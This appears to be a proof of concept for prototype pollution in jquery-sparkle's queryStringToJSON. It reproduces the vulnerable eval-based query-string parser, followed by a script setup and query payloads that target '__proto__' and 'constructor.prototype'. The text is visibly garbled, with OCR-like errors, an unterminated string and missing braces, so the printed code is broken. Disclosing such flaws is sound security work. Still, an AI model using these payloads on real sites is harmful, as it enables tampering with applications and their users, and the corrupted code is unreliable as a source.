```
var json = {};
// We have params
for ( var i = 0, n = params.length; i < n; ++i )
    // Adiust
    var param = params[i] || null;
    if ( param === null ) { continue; }
    param = param.split('=');
    if ( param === null ) { continue; }
    // ^ We now have "var=blah" into ["var","blah"]
    var key = param[0] || null;
    if ( key === null ) { continue; }
    if ( typeof param[1] === 'undefined' ) { continue; }
    var value = param[1];
    // ^ We now have the parts
    // Fix
    key = decodeURIComponent(key);
    value = decodeURIComponent(value);
    // window.console.log({'key':key,'value':value}, split);
var keys = key.split('.');
if ( keys.length === 1 )
    { // Simple
         json[key] = value;
    else
    { // Advanced (Recreating an object)
         var path = '',
    cmd = '';
         // Ensure Path Exists
         %.each(keys, function(ii,key){
  path += '["'+key.replace(/"/g,'\\"')+'"]';
  jsonCLOSUREGLOBAL = json; // we have made this a global as closure compiler struggles with evals
               \verb|cmd = 'if ( typeof jsonCLOSUREGLOBAL'+path+' === "undefined" ) jsonCLOSUREGLOBAL'+path+' = \{\}'; \\
              eval(cmd);
```

```
json=jsonCLOSUREGLOBAL;
    delete jsonCLOSUREGLOBAL;
});

// Apply Value
jsonCLOSUREGLOBAL = json; // we have made this a global as closure compiler struggles with evals
valueCLOSUREGLOBAL = value; // we have made this a global as closure compiler struggles with evals
cnd = 'jsonCLOSUREGLOBAL;
eval(cnd);
json = jsonCLOSUREGLOBAL;
delete jsonCLOSUREGLOBAL;
delete valueCLOSUREGLOBAL;
delete valueCLOSUREGLOBAL;
}
// ^ We now have the parts added to your JSON object
}
return json;
};

POC

cscript src="https://code.jquery.com/jquery-2.2.4.js"></script>
cscript src="https://raw.githack.com/bevry-archive/jquery-sparkle/lcf0bd0ab37372ea9c22c189e8bc2b9504329622/scripts/jquery.sparkle.js"
cscript>
location.search.queryStringToJSON();

?_proto_.test-test
?constructor.prototype.test=test
```